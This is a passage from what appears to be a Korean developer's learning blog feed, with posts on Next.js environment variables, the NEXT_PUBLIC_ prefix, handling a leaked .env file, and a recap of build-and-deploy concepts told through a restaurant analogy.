<h2 id="🍳-레스토랑-비유-업데이트">🍳 레스토랑 비유 업데이트</h2>
<table>
<thead>
<tr>
<th>레스토랑</th>
<th>서버</th>
</tr>
</thead>
<tbody><tr>
<td>지점별 납품업체 목록</td>
<td>환경별 .env 파일</td>
</tr>
<tr>
<td>본점 납품처</td>
<td>.env.development</td>
</tr>
<tr>
<td>3호점 납품처</td>
<td>.env.production</td>
</tr>
<tr>
<td>내 책상 서랍 납품처 메모</td>
<td>.env.local (내 컴퓨터 전용)</td>
</tr>
<tr>
<td>비밀 레시피 SNS 유출</td>
<td>.env를 git에 push</td>
</tr>
<tr>
<td>레시피 바꾸기 (유출 대응)</td>
<td>키 무효화 + 새 키 발급</td>
</tr>
<tr>
<td>&quot;이 요리에 비밀 소스 필요&quot; 안내문</td>
<td>.env.example</td>
</tr>
</tbody></table>
<hr>
<h2 id="🎯-오늘-배운-것-최종-정리">🎯 오늘 배운 것 최종 정리</h2>
<ol>
<li><strong>환경별 .env 파일</strong>: <code>.env.development</code>(dev), <code>.env.production</code>(build/start), <code>.env.local</code>(최우선)</li>
<li><strong>우선순위</strong>: <code>.env.local</code> &gt; <code>.env.development/.production</code> &gt; <code>.env</code></li>
<li><strong>흔한 실수 3가지</strong>: 구조분해 할당 ❌, 변경 후 재시작 필요, 따옴표 주의</li>
<li><strong>.env 유출 시 대응</strong>: 키 무효화가 1순위! → git에서 제거 → .gitignore 추가 → 새 키 발급</li>
<li><strong>예방법</strong>: <code>.gitignore</code>에 미리 등록, <code>.env.example</code> 만들기, <code>git status</code>로 확인</li>
<li><strong>환경변수 3곳</strong>: 내 컴퓨터(.env) + CI/CD(GitHub Secrets) + 서버(.env) → 동기화 필수</li>
</ol>
<hr>
<h2 id="🧪-이해도-체크">🧪 이해도 체크</h2>
<p><strong>Q1. .env 파일을 실수로 git에 올렸을 때 가장 먼저 해야 할 일은?</strong>
→ 정답: .env에 있는 키들을 전부 무효화하고 새로 발급. git에서 삭제해도 커밋 기록에 남아있고 누가 이미 봤을 수 있으니까 키 자체를 못 쓰게 만드는 게 먼저.</p>
<p><strong>Q2. .env.example은 왜 필요한가?</strong>
→ 정답: 어떤 환경변수가 필요한지 보여주는 가이드 파일. .env는 실제 값이 들어있어서 git에 안 올리고, .env.example은 값 없이 변수명만 있어서 git에 올림. 새 팀원이 와도 뭐가 필요한지 바로 알 수 있다.</p>
<p><strong>Q3. 환경변수를 수정했는데 반영이 안 되는 이유는?</strong>
→ 정답: 환경변수는 서버가 시작할 때 한 번만 읽기 때문. yarn dev 껐다 다시 켜야 반영된다.</p>
<hr>
<h2 id="💭-회고">💭 회고</h2>
<p>환경변수를 &quot;그냥 값 넣는 파일&quot; 정도로만 생각하고 있었다.</p>
<p>오늘 배우고 나니 환경변수 관리는 생각보다 체계적이어야 한다는 걸 느꼈다.
환경별로 다른 <code>.env</code> 파일을 쓰고, <code>.env.example</code>로 팀에 가이드를 주고,
<code>.gitignore</code>에 미리 등록해서 사고를 예방하는 것까지.</p>
<p>특히 &quot;.env를 git에 올려버렸을 때&quot; 대처법이 인상적이었다.
<strong>삭제가 아니라 키 무효화가 1순위</strong>라는 걸 알게 됐다.
커밋 기록에 남아있으니까 삭제해봤자 의미가 없고, 키 자체를 못 쓰게 만드는 게 먼저.</p>
<p>Day 14에서 배운 &quot;고치기 전에 되돌려라&quot;와 비슷한 원칙이다.
<strong>피해를 먼저 막고, 원인 처리는 그 다음.</strong></p>
<hr>
<h2 id="📚-다음-학습-예고">📚 다음 학습 예고</h2>
<blockquote>
<p><strong>Day 18: API 키 관리 best practice + .env.example의 역할</strong>
공개 키 vs 시크릿 키 구분, 키 관리 실전 패턴을 배운다.</p>
</blockquote>
<p>#프론트엔드 #환경변수 #process.env #gitignore #보안 #2년차개발자 #기초다시쌓기</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Day 16] NEXT_PUBLIC_ 접두사의 비밀 — 브라우저 노출 vs 서버 전용]]></title>
            <link>https://velog.io/@jjang_hyo/Day-16-NEXTPUBLIC-%EC%A0%91%EB%91%90%EC%82%AC%EC%9D%98-%EB%B9%84%EB%B0%80-%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80-%EB%85%B8%EC%B6%9C-vs-%EC%84%9C%EB%B2%84-%EC%A0%84%EC%9A%A9</link>
            <guid>https://velog.io/@jjang_hyo/Day-16-NEXTPUBLIC-%EC%A0%91%EB%91%90%EC%82%AC%EC%9D%98-%EB%B9%84%EB%B0%80-%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80-%EB%85%B8%EC%B6%9C-vs-%EC%84%9C%EB%B2%84-%EC%A0%84%EC%9A%A9</guid>
            <pubDate>Mon, 04 May 2026 07:44:42 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>프론트엔드 기초 다시 쌓기 챌린지 16일차.
<strong>Part 2: 환경변수·시크릿·보안</strong> 시작!</p>
</blockquote>
<p>Part 1에서 코드가 사용자 화면까지 가는 전체 흐름을 배웠다면,
Part 2에서는 그 흐름 속에 숨겨진 <strong>비밀 정보 관리</strong>를 다룬다.</p>
<p>오늘의 핵심 질문:</p>
<blockquote>
<p>&quot;내가 .env에 적은 값이 혹시 사용자 브라우저에서 보이는 건 아닐까?&quot;</p>
</blockquote>
<hr>
<h2 id="🍳-오늘의-비유-주방-비밀-레시피-vs-메뉴판">🍳 오늘의 비유: &quot;주방 비밀 레시피 vs 메뉴판&quot;</h2>
<p>레스토랑에는 두 종류의 정보가 있다.</p>
<pre><code>🔓 메뉴판에 적어도 되는 정보 (공개)
   - 메뉴 이름, 가격, 칼로리
   - 손님이 봐도 상관없음

🔒 주방에서만 알아야 하는 정보 (비밀)
   - 비밀 소스 레시피
   - 재료 납품업체 연락처, 원가 정보
   - 손님이 보면 안 됨!</code></pre><p>환경변수도 똑같다:</p>
<pre><code>🔓 브라우저에 노출돼도 되는 값: 사이트 URL, GA 트래킹 ID
🔒 서버에서만 써야 하는 값: API 시크릿 키, DB 비밀번호, 결제 시스템 키</code></pre><p><strong>Next.js는 이 두 가지를 구분하는 규칙이 있다. 그게 바로 <code>NEXT_PUBLIC_</code> 접두사!</strong></p>
<hr>
<h2 id="🔑-next_public_-규칙">🔑 NEXT_PUBLIC_ 규칙</h2>
<h3 id="규칙은-딱-하나">규칙은 딱 하나</h3>
<pre><code>NEXT_PUBLIC_ 으로 시작하면 → 브라우저에서 볼 수 있음 (공개)
NEXT_PUBLIC_ 없으면         → 서버에서만 쓸 수 있음 (비밀)</code></pre><p>실제 <code>.env</code> 파일로 보면:</p>
<pre><code class="language-env"># 🔓 브라우저에 노출됨 (NEXT_PUBLIC_ 붙음)
NEXT_PUBLIC_API_URL=https://api.mysite.com
NEXT_PUBLIC_GA_ID=G-ABC123

# 🔒 서버에서만 사용 (NEXT_PUBLIC_ 안 붙음)
DATABASE_URL=postgresql://user:password@localhost:5432/mydb
API_SECRET_KEY=sk-super-secret-key-123
PAYMENT_SECRET=pay_live_abcdefg</code></pre>
<h3 id="왜-브라우저에서-보이는가-기술적-이유">왜 브라우저에서 보이는가? (기술적 이유)</h3>
<p>Day 2에서 배운 <code>yarn build</code>와 연결된다.
빌드할 때 <strong><code>NEXT_PUBLIC_</code> 값이 JS 파일에 직접 박힌다.</strong></p>
<pre><code class="language-javascript">// 빌드 전 (내가 쓴 코드)
const apiUrl = process.env.NEXT_PUBLIC_API_URL;

// 빌드 후 (.next 안의 JS 파일)
const apiUrl = &quot;https://api.mysite.com&quot;;
// ↑ 값이 그대로 들어감! 이 JS를 브라우저가 다운받으니까 보이는 것!</code></pre>
<p>반면 <code>NEXT_PUBLIC_</code> 없는 변수는 빌드할 때 값이 들어가지 않는다:</p>
<pre><code class="language-javascript">// 빌드 전
const dbUrl = process.env.DATABASE_URL;

// 빌드 후
const dbUrl = process.env.DATABASE_URL;
// ↑ 값이 안 들어감! 서버에서 실행할 때만 읽어옴</code></pre>
<hr>
<h2 id="🚨-흔한-실수-next_public_-붙이면-안-되는-것들">🚨 흔한 실수: NEXT_PUBLIC_ 붙이면 안 되는 것들</h2>
<pre><code class="language-env"># ❌ 절대 이렇게 하면 안 됨!
NEXT_PUBLIC_DATABASE_URL=postgresql://user:password@...
NEXT_PUBLIC_API_SECRET=sk-super-secret-key
NEXT_PUBLIC_PAYMENT_KEY=pay_live_real_key

# ✅ 이건 NEXT_PUBLIC_ 붙여도 됨
NEXT_PUBLIC_API_URL=https://api.mysite.com
NEXT_PUBLIC_GA_ID=G-ABC123
NEXT_PUBLIC_SITE_NAME=MyShop</code></pre>
<p>판단 기준은 간단하다:</p>
<blockquote>
<p>&quot;이 값을 전 세계 누구나 봐도 괜찮은가?&quot;</p>
<p>괜찮다 → NEXT_PUBLIC_ 가능
안 괜찮다 → NEXT_PUBLIC_ 절대 금지</p>
</blockquote>
<hr>
<h2 id="🔒-비밀-값은-어디서-쓰는가">🔒 비밀 값은 어디서 쓰는가?</h2>
<p><code>NEXT_PUBLIC_</code> 없는 변수는 <strong>서버 사이드 코드에서만</strong> 접근할 수 있다.</p>
<h3 id="pages-router에서">Pages Router에서</h3>
<pre><code class="language-javascript">// pages/api/payment.js — API Route (서버에서 실행)
export default function handler(req, res) {
  const secretKey = process.env.PAYMENT_SECRET; // ✅ 안전
  // 결제 처리...
}</code></pre>
<pre><code class="language-javascript">// components/UserList.jsx — 컴포넌트 (브라우저에서 실행)
export default function UserList() {
  const dbUrl = process.env.DATABASE_URL; // ❌ undefined!
  const apiUrl = process.env.NEXT_PUBLIC_API_URL; // ✅ 정상
}</code></pre>
<p>Pages Router에서 서버 코드를 쓸 수 있는 곳:</p>
<pre><code>✅ getServerSideProps
✅ getStaticProps
✅ /pages/api/ (API Routes)</code></pre><h3 id="app-router에서는">App Router에서는?</h3>
<p>App Router에서는 용어와 방식이 좀 다르다.
가장 큰 차이: <strong>컴포넌트가 기본적으로 서버에서 실행된다.</strong></p>
<pre><code class="language-javascript">// App Router - 기본이 Server Component
// app/page.jsx
export default function Page() {
  // ✅ NEXT_PUBLIC_ 없어도 접근 가능! (서버에서 실행되니까)
  const dbUrl = process.env.DATABASE_URL;

  return &lt;div&gt;...&lt;/div&gt;;
}</code></pre>
<pre><code class="language-javascript">// App Router - &quot;use client&quot; 붙이면 브라우저에서 실행
// app/components/Counter.jsx
&quot;use client&quot;;

export default function Counter() {
  const dbUrl = process.env.DATABASE_URL; // ❌ undefined
  const apiUrl = process.env.NEXT_PUBLIC_API_URL; // ✅ 정상
}</code></pre>
<h3 id="pages-router-vs-app-router-비교">Pages Router vs App Router 비교</h3>
<pre><code>Pages Router: 기본적으로 홀(브라우저)에서 일하고,
              주방(서버)에서 일하려면 특별한 함수를 써야 함
              (getServerSideProps, API Routes)

App Router:   기본적으로 주방(서버)에서 일하고,
              홀(브라우저)에서 일하려면 &quot;use client&quot; 명찰을 달아야 함</code></pre><p><strong>어떤 라우터를 쓰든 핵심 원칙은 동일하다:</strong></p>
<blockquote>
<p>브라우저에서 실행되는 코드 → NEXT_PUBLIC_만 접근 가능
서버에서 실행되는 코드 → 모든 환경변수 접근 가능</p>
</blockquote>
<hr>
<h2 id="🔄-전체-흐름-정리">🔄 전체 흐름 정리</h2>
<pre><code>사용자 브라우저
  → NEXT_PUBLIC_API_URL로 API 요청
  → /pages/api/payment.js (서버에서 실행)
  → PAYMENT_SECRET으로 결제 처리 (사용자는 이 값을 모름!)
  → 결과만 사용자에게 전달</code></pre><p>레스토랑 비유:</p>
<pre><code>손님이 메뉴판(NEXT_PUBLIC_) 보고 주문
→ 주문이 주방(서버)으로 감
→ 주방에서 비밀 소스(PAYMENT_SECRET) 사용해서 요리
→ 완성된 음식(결과 데이터)만 손님에게 전달
→ 손님은 비밀 소스 레시피를 모름!</code></pre><hr>
<h2 id="🔍-실제로-확인해보기">🔍 실제로 확인해보기</h2>
<p>Chrome DevTools에서 NEXT_PUBLIC_ 값이 정말 보이는지 확인할 수 있다.</p>
<pre><code>1. 사이트 접속
2. F12 → Sources 탭
3. _next/static/chunks/ 폴더 열기
4. Ctrl+F로 NEXT_PUBLIC_ 값 검색
→ 값이 실제로 JS 파일 안에 들어있음!</code></pre><hr>
<h2 id="✅-회사-프로젝트-점검-체크리스트">✅ 회사 프로젝트 점검 체크리스트</h2>
<pre><code>✅ 체크 1: NEXT_PUBLIC_ 붙은 값 중에 비밀번호나 시크릿 키가 있는가?
   → 있으면 즉시 NEXT_PUBLIC_ 제거!

✅ 체크 2: API 키가 NEXT_PUBLIC_으로 노출되고 있는가?
   → 공개 키(publishable key)는 OK
   → 시크릿 키(secret key)는 NG!

✅ 체크 3: 결제 관련 키가 NEXT_PUBLIC_에 있는가?
   → 절대 안 됨. 서버 사이드로 옮겨야 함.</code></pre><hr>
<h2 id="🍳-레스토랑-비유-업데이트">🍳 레스토랑 비유 업데이트</h2>
<table>
<thead>
<tr>
<th>레스토랑</th>
<th>서버</th>
</tr>
</thead>
<tbody><tr>
<td>메뉴판에 적는 정보</td>
<td>NEXT_PUBLIC_ 환경변수</td>
</tr>
<tr>
<td>주방에서만 아는 비밀 레시피</td>
<td>NEXT_PUBLIC_ 없는 환경변수</td>
</tr>
<tr>
<td>메뉴판은 손님이 볼 수 있음</td>
<td>브라우저 JS에서 값이 보임</td>
</tr>
<tr>
<td>비밀 레시피는 주방 안에만</td>
<td>서버 사이드에서만 접근 가능</td>
</tr>
<tr>
<td>비밀 레시피를 메뉴판에 적음</td>
<td>NEXT_PUBLIC_에 시크릿 키 = 대참사</td>
</tr>
</tbody></table>
<hr>
<h2 id="🎯-오늘-배운-것-최종-정리">🎯 오늘 배운 것 최종 정리</h2>
<ol>
<li><strong>NEXT_PUBLIC_ 규칙</strong>: 붙으면 브라우저 노출(공개), 안 붙으면 서버 전용(비밀)</li>
<li><strong>기술적 이유</strong>: 빌드할 때 NEXT_PUBLIC_ 값이 JS 파일에 직접 박히기 때문</li>
<li><strong>판단 기준</strong>: &quot;전 세계 누구나 봐도 괜찮은가?&quot;</li>
<li><strong>비밀 값 사용처</strong>: Pages Router는 getServerSideProps, API Routes / App Router는 Server Component(기본), Route Handler</li>
<li><strong>Pages vs App Router 차이</strong>: Pages는 기본이 브라우저, App은 기본이 서버. 원칙은 동일</li>
<li><strong>흔한 실수</strong>: DB 비밀번호, 시크릿 키에 NEXT_PUBLIC_ 붙이면 전 세계에 공개됨</li>
</ol>
<hr>
<h2 id="🧪-이해도-체크">🧪 이해도 체크</h2>
<p><strong>Q1. NEXT_PUBLIC_ 값이 브라우저에서 보이는 기술적 이유는?</strong>
→ 정답: yarn build할 때 NEXT_PUBLIC_ 값이 빌드 결과물(JS 파일)에 문자열로 직접 박히기 때문. 브라우저가 이 JS를 다운받으면 값이 보인다.</p>
<p><strong>Q2. 결제 시크릿 키를 안전하게 사용하려면?</strong>
→ 정답: NEXT_PUBLIC_을 붙이지 않고, 서버 사이드 코드(API Routes, getServerSideProps, Server Component)에서만 사용한다. 브라우저에서 실행되는 코드에 넣으면 안 된다.</p>
<p><strong>Q3. NEXT_PUBLIC_이 붙으면 안 되는 값이 붙어있다면?</strong>
→ 정답: 누구나 Chrome DevTools로 JS 파일을 열어 시크릿 키를 볼 수 있다. 결제 키가 노출되면 악용될 수 있고, DB 비밀번호가 노출되면 데이터 유출 위험.</p>
<hr>
<h2 id="💭-회고">💭 회고</h2>
<p>지금까지 <code>.env</code> 파일에 환경변수를 적을 때 <code>NEXT_PUBLIC_</code>을 별 생각 없이 붙이거나 안 붙이고 있었다.</p>
<p>오늘 배우고 나니 이게 단순한 이름 규칙이 아니라
<strong>&quot;이 값이 전 세계에 공개되느냐 마느냐&quot;를 결정하는 보안 경계선</strong>이었다.</p>
<p>특히 빌드할 때 NEXT_PUBLIC_ 값이 JS 파일에 직접 박힌다는 게 충격이었다.
Day 2에서 배운 빌드 과정이 여기서 다시 연결될 줄 몰랐다.</p>
<p>App Router에서는 컴포넌트가 기본적으로 서버에서 실행된다는 것도 새로운 관점이었다.
Pages Router와 원칙은 같지만 기본 동작이 반대라는 게 흥미롭다.</p>
<p>내일은 <code>process.env</code> 사용법과 &quot;환경변수를 실수로 커밋했을 때 대처법&quot;을 배운다.
실수는 누구나 할 수 있으니까, 대처법을 미리 알아두는 게 중요하다.</p>
<hr>
<h2 id="📚-다음-학습-예고">📚 다음 학습 예고</h2>
<blockquote>
<p><strong>Day 17: process.env 사용법 + 환경변수 실수로 커밋했을 때 대처법</strong>
&quot;.env를 깃에 올려버렸다!&quot; — 이 상황, 생각보다 자주 일어난다.</p>
</blockquote>
<p>#프론트엔드 #환경변수 #NEXT_PUBLIC #보안 #Next.js #2년차개발자 #기초다시쌓기</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Day 15] Part 1 회고 + 총정리 — 코드 한 줄이 사용자 화면까지 가는 여정]]></title>
            <link>https://velog.io/@jjang_hyo/Day-15-Part-1-%ED%9A%8C%EA%B3%A0-%EC%B4%9D%EC%A0%95%EB%A6%AC-%EC%BD%94%EB%93%9C-%ED%95%9C-%EC%A4%84%EC%9D%B4-%EC%82%AC%EC%9A%A9%EC%9E%90-%ED%99%94%EB%A9%B4%EA%B9%8C%EC%A7%80-%EA%B0%80%EB%8A%94-%EC%97%AC%EC%A0%95-cggiegvi</link>
            <guid>https://velog.io/@jjang_hyo/Day-15-Part-1-%ED%9A%8C%EA%B3%A0-%EC%B4%9D%EC%A0%95%EB%A6%AC-%EC%BD%94%EB%93%9C-%ED%95%9C-%EC%A4%84%EC%9D%B4-%EC%82%AC%EC%9A%A9%EC%9E%90-%ED%99%94%EB%A9%B4%EA%B9%8C%EC%A7%80-%EA%B0%80%EB%8A%94-%EC%97%AC%EC%A0%95-cggiegvi</guid>
            <pubDate>Mon, 04 May 2026 07:01:41 GMT</pubDate>
            <description><![CDATA[<p>프론트엔드 기초 다시 쌓기 챌린지 15일차.
<strong>Part 1: 빌드·배포 프로세스 (Day 1~15) 완료!</strong></p>
<p>오늘은 15일간 배운 모든 걸 <strong>하나의 큰 그림으로 연결</strong>하는 시간이었다.</p>
<hr>
<h2 id="🍳-레스토랑-전체-스토리-1일차부터-14일차까지">🍳 레스토랑 전체 스토리: 1일차부터 14일차까지</h2>
<h3 id="chapter-1-레스토랑-오픈-week-1---빌드·배포-전체-그림">Chapter 1: 레스토랑 오픈 (Week 1 - 빌드·배포 전체 그림)</h3>
<pre><code>Day 1: 레시피(코드) 작성만으로는 손님이 못 먹는다.
       재료 손질(빌드) → 주방 세팅(배포) → 영업 시작(실행)이 필요하다.

Day 2: 재료 손질(yarn build)의 4가지 일.
       번역(컴파일) + 합치기(번들링) + 압축(최적화) + 미리 만들기(정적생성)

Day 3: 손님이 실제로 받는 음식 = 압축된 JS, CSS, HTML.
       자주 시키는 메뉴는 캐시, 먼 곳은 CDN으로 빠르게 전달.

Day 4: 재료를 하나하나 따로 배달하면 느리니까 합친다(번들링).
       안 쓰는 재료는 버린다(Tree Shaking).

Day 5: 연습 주방(dev)과 실전 주방(start)의 차이.
       이건 장소 차이가 아니라 모드 차이다.</code></pre><h3 id="chapter-2-주방-인프라-구축-week-2---배포-환경-이해">Chapter 2: 주방 인프라 구축 (Week 2 - 배포 환경 이해)</h3>
<pre><code>Day 6: 주방 건물(서버) 고르기. 자체 건물 vs AWS vs Vercel.

Day 7: 멀리 있는 주방에 전화선(SSH)으로 원격 지시.
       근데 전화 끊으면 셰프가 퇴근해버린다.

Day 8: 주방 매니저(pm2) 고용. 셰프 쓰러지면 새 셰프 투입.
       전화 끊겨도 영업 계속. 정전 후에도 자동 출근.

Day 9: 홀 매니저(Nginx) 고용. 손님 요청을 알맞은 주방으로 안내.
       도메인별로 다른 포트 분배. 서버 내부 구조 숨김.

Day 10: CCTV(로그) 설치. 문제 생기면 pm2 logs부터 확인.
        DEBUG → INFO → WARN → ERROR → FATAL.</code></pre><h3 id="chapter-3-자동화-시스템-도입-week-3---실전-배포-흐름">Chapter 3: 자동화 시스템 도입 (Week 3 - 실전 배포 흐름)</h3>
<pre><code>Day 11: 자동 주방 관리 로봇(CI/CD) 도입.
        push만 하면 자동으로 빌드 + 테스트 + 배포.

Day 12: 2호점에서 맛이 달라서 이동식 주방(Docker) 도입.
        환경 통째로 패키징해서 어디서든 같은 결과.

Day 13: 로봇 + 이동식 주방 합체(CI/CD + Docker) = 완성형 배포.
        git push 하나로 전부 자동.

Day 14: 신메뉴 배탈(런타임 에러) 대응법.
        &quot;고치기 전에 되돌려라(롤백)&quot;. Docker 태그면 1~2분 복구.</code></pre><hr>
<h2 id="🗺️-전체-흐름도-코드-한-줄이-사용자-화면까지-가는-여정">🗺️ 전체 흐름도: 코드 한 줄이 사용자 화면까지 가는 여정</h2>
<p>Day 1에서 던졌던 질문: <strong>&quot;내 코드가 어떻게 사용자 화면까지 가는가?&quot;</strong></p>
<p>15일 전에는 막막했지만, 이제 전부 설명할 수 있다.</p>
<pre><code>[1단계: 개발] (Day 1, 5)
VSCode에서 코드 작성
→ yarn dev로 개발 서버에서 확인

        ↓

[2단계: 코드 올리기] (Day 11)
git push to main

        ↓

[3단계: CI - 자동 검사] (Day 11, 14)
GitHub Actions가 자동 실행
→ lint 검사 → yarn build → 유닛 테스트
→ 하나라도 실패하면 ❌ 중단!

        ↓

[4단계: Docker 이미지 생성] (Day 12)
docker build → 코드+환경+빌드결과 통째로 패키징
→ Docker Hub에 업로드

        ↓

[5단계: CD - 자동 배포] (Day 13)
SSH로 서버 접속
→ docker pull → docker stop → rm → run

        ↓

[6단계: 서버에서 실행] (Day 6, 7, 8)
컨테이너 안에서 yarn start 자동 실행
→ pm2 또는 Docker가 프로세스 관리

        ↓

[7단계: 요청 전달] (Day 9)
사용자가 도메인 입력
→ Nginx가 요청을 받아서 앱 포트로 전달

        ↓

[8단계: 사용자 화면] (Day 3, 4)
브라우저가 번들링·압축된 JS, CSS, HTML 다운로드
→ 캐시·CDN으로 빠르게 전달 → 화면 렌더링!

        ↓

[문제 발생 시] (Day 10, 14)
로그 확인 (pm2 → Nginx → 시스템)
→ 심각하면 롤백 → 수정 후 재배포</code></pre><p><strong>개발자가 직접 하는 일은 1단계(코드 작성)와 2단계(git push)까지.</strong>
3단계부터 전부 자동이다.</p>
<hr>
<h2 id="📋-핵심-개념-총정리-한-줄-요약">📋 핵심 개념 총정리: 한 줄 요약</h2>
<h3 id="week-1-빌드·배포-전체-그림">Week 1: 빌드·배포 전체 그림</h3>
<table>
<thead>
<tr>
<th>Day</th>
<th>한 줄 요약</th>
</tr>
</thead>
<tbody><tr>
<td>Day 1</td>
<td>개발(레시피) → 빌드(손질) → 배포(세팅) → 실행(영업) 4단계</td>
</tr>
<tr>
<td>Day 2</td>
<td>yarn build = 컴파일 + 번들링 + 최적화 + 정적생성, 결과는 .next 폴더</td>
</tr>
<tr>
<td>Day 3</td>
<td>브라우저는 압축된 JS/CSS/HTML을 받고, 캐시와 CDN으로 속도 올림</td>
</tr>
<tr>
<td>Day 4</td>
<td>번들링 = 파일 합치기, Tree Shaking = 안 쓰는 코드 제거</td>
</tr>
<tr>
<td>Day 5</td>
<td>dev = 개발모드(편함/느림), start = 프로덕션모드(엄격/빠름)</td>
</tr>
</tbody></table>
<h3 id="week-2-배포-환경-이해">Week 2: 배포 환경 이해</h3>
<table>
<thead>
<tr>
<th>Day</th>
<th>한 줄 요약</th>
</tr>
</thead>
<tbody><tr>
<td>Day 6</td>
<td>서버 = 24시간 켜져있는 컴퓨터, 자체서버/AWS/Vercel 선택</td>
</tr>
<tr>
<td>Day 7</td>
<td>SSH = 원격 접속 전화선, 끊으면 프로세스 죽음</td>
</tr>
<tr>
<td>Day 8</td>
<td>pm2 = 주방 매니저, 크래시 복구 + 백그라운드 실행 + 자동 재시작</td>
</tr>
<tr>
<td>Day 9</td>
<td>Nginx = 홀 매니저, 리버스 프록시로 요청 분배 + 서버 구조 숨김</td>
</tr>
<tr>
<td>Day 10</td>
<td>로그 = CCTV, 문제 생기면 pm2 logs → Nginx logs → 시스템 로그</td>
</tr>
</tbody></table>
<h3 id="week-3-실전-배포-흐름">Week 3: 실전 배포 흐름</h3>
<table>
<thead>
<tr>
<th>Day</th>
<th>한 줄 요약</th>
</tr>
</thead>
<tbody><tr>
<td>Day 11</td>
<td>CI/CD = 자동 빌드·테스트·배포, GitHub Actions로 구현</td>
</tr>
<tr>
<td>Day 12</td>
<td>Docker = 코드+환경 통째로 패키징, 이미지(설계도) → 컨테이너(실행)</td>
</tr>
<tr>
<td>Day 13</td>
<td>CI/CD + Docker = 완성형 배포, git push만 하면 끝</td>
</tr>
<tr>
<td>Day 14</td>
<td>에러 3단계 + 롤백, &quot;고치기 전에 되돌려라&quot;</td>
</tr>
</tbody></table>
<hr>
<h2 id="🍳-레스토랑-비유-총정리">🍳 레스토랑 비유 총정리</h2>
<p>15일간 쌓아온 비유 전체를 한눈에:</p>
<table>
<thead>
<tr>
<th>레스토랑</th>
<th>서버</th>
<th>Day</th>
</tr>
</thead>
<tbody><tr>
<td>레시피</td>
<td>코드</td>
<td>1</td>
</tr>
<tr>
<td>재료 손질 + 세팅</td>
<td>빌드 (yarn build)</td>
<td>2</td>
</tr>
<tr>
<td>재료를 주방에 갖다 놓음</td>
<td>배포</td>
<td>1</td>
</tr>
<tr>
<td>가스레인지 불 켜고 영업 시작</td>
<td>실행 (yarn start)</td>
<td>1</td>
</tr>
<tr>
<td>주방 건물</td>
<td>서버 컴퓨터</td>
<td>6</td>
</tr>
<tr>
<td>셰프</td>
<td>프로세스</td>
<td>8</td>
</tr>
<tr>
<td>음식</td>
<td>사이트</td>
<td>1</td>
</tr>
<tr>
<td>주방 매니저</td>
<td>pm2</td>
<td>8</td>
</tr>
<tr>
<td>홀 매니저</td>
<td>Nginx</td>
<td>9</td>
</tr>
<tr>
<td>CCTV</td>
<td>로그</td>
<td>10</td>
</tr>
<tr>
<td>전화선</td>
<td>SSH</td>
<td>7</td>
</tr>
<tr>
<td>자물쇠 (서버에 설치)</td>
<td>공개 키</td>
<td>7</td>
</tr>
<tr>
<td>열쇠 (내가 보관)</td>
<td>개인 키</td>
<td>7</td>
</tr>
<tr>
<td>셰프 자동 출근 알람</td>
<td>pm2 startup</td>
<td>8</td>
</tr>
<tr>
<td>셰프 출근 명단표</td>
<td>pm2 save</td>
<td>8</td>
</tr>
<tr>
<td>자동 주방 관리 로봇</td>
<td>GitHub Actions</td>
<td>11</td>
</tr>
<tr>
<td>작업 지시서</td>
<td>Workflow (YAML)</td>
<td>11</td>
</tr>
<tr>
<td>로봇의 금고</td>
<td>GitHub Secrets</td>
<td>11</td>
</tr>
<tr>
<td>이동식 주방 조립 설명서</td>
<td>Dockerfile</td>
<td>12</td>
</tr>
<tr>
<td>이동식 주방 설계도</td>
<td>Docker 이미지</td>
<td>12</td>
</tr>
<tr>
<td>실제 푸드트럭</td>
<td>Docker 컨테이너</td>
<td>12</td>
</tr>
<tr>
<td>이미지 중앙 창고</td>
<td>Docker Hub</td>
<td>13</td>
</tr>
<tr>
<td>신메뉴 배탈 → 판매 중단</td>
<td>런타임 에러 → 롤백</td>
<td>14</td>
</tr>
<tr>
<td>&quot;고치기 전에 되돌려라&quot;</td>
<td>롤백 먼저, 디버깅은 나중</td>
<td>14</td>
</tr>
</tbody></table>
<hr>
<h2 id="⭐-이것만은-꼭-기억하자-top-5">⭐ &quot;이것만은 꼭 기억하자&quot; TOP 5</h2>
<h3 id="1-빌드와-실행은-다르다">1. 빌드와 실행은 다르다</h3>
<pre><code>yarn build = 한 번만 (결과물 만들기)
yarn start = 필요할 때마다 (결과물 실행하기)
build 없이 start 불가능!</code></pre><h3 id="2-dev-모드와-production-모드는-다르다">2. dev 모드와 production 모드는 다르다</h3>
<pre><code>yarn dev = 개발할 때 (편하지만 느림)
yarn start = 실서비스 (빠르지만 엄격)
로컬/서버 차이가 아니라 모드 차이!</code></pre><h3 id="3-서버는-혼자-안-돌아간다">3. 서버는 혼자 안 돌아간다</h3>
<pre><code>pm2 = 프로세스 죽으면 살려줌
Nginx = 요청을 알맞은 앱으로 전달
이 둘이 있어야 안정적인 서비스 가능</code></pre><h3 id="4-cicd--docker--현대적-배포">4. CI/CD + Docker = 현대적 배포</h3>
<pre><code>git push만 하면 빌드·테스트·배포 전부 자동
Docker로 환경 동일 보장</code></pre><h3 id="5-문제-생기면-롤백-먼저">5. 문제 생기면 롤백 먼저</h3>
<pre><code>고치기 전에 되돌려라
로그 확인 순서: pm2 logs → Nginx logs → 시스템 로그
Docker 태그 롤백이면 1~2분</code></pre><hr>
<h2 id="🧪-이해도-체크">🧪 이해도 체크</h2>
<p><strong>Q1. 문제 원인을 찾는 순서와 버그 대응법은?</strong>
→ 정답: 로그 확인(pm2 → Nginx → 시스템) → 롤백 먼저(이전 버전으로 되돌리기) → 사이트 정상화 확인 → 원인 파악 + 수정 후 재배포</p>
<p><strong>Q2. 수동 배포를 CI/CD + Docker로 바꾸면?</strong>
→ 정답: git push만 하면 빌드·테스트·배포 전부 자동 + Docker로 환경 동일 보장. 서버에서는 docker pull → docker run만 하면 끝.</p>
<p><strong>Q3. Dockerfile, 이미지, Docker Hub, 컨테이너의 관계는?</strong>
→ 정답: Dockerfile(조립 설명서) → docker build → 이미지(설계도) → docker push → Docker Hub(중앙 창고) → docker pull + run → 컨테이너(실제 푸드트럭)</p>
<hr>
<h2 id="💭-회고">💭 회고</h2>
<p>15일 전, Day 1에서 &quot;내 코드가 어떻게 사용자 화면까지 가는가?&quot;라는 질문으로 시작했다.</p>
<p>그때는 <code>yarn build</code>가 뭘 하는지도 몰랐고,
서버가 뭔지, pm2가 왜 필요한지, Nginx가 뭔지 전부 막막했다.</p>
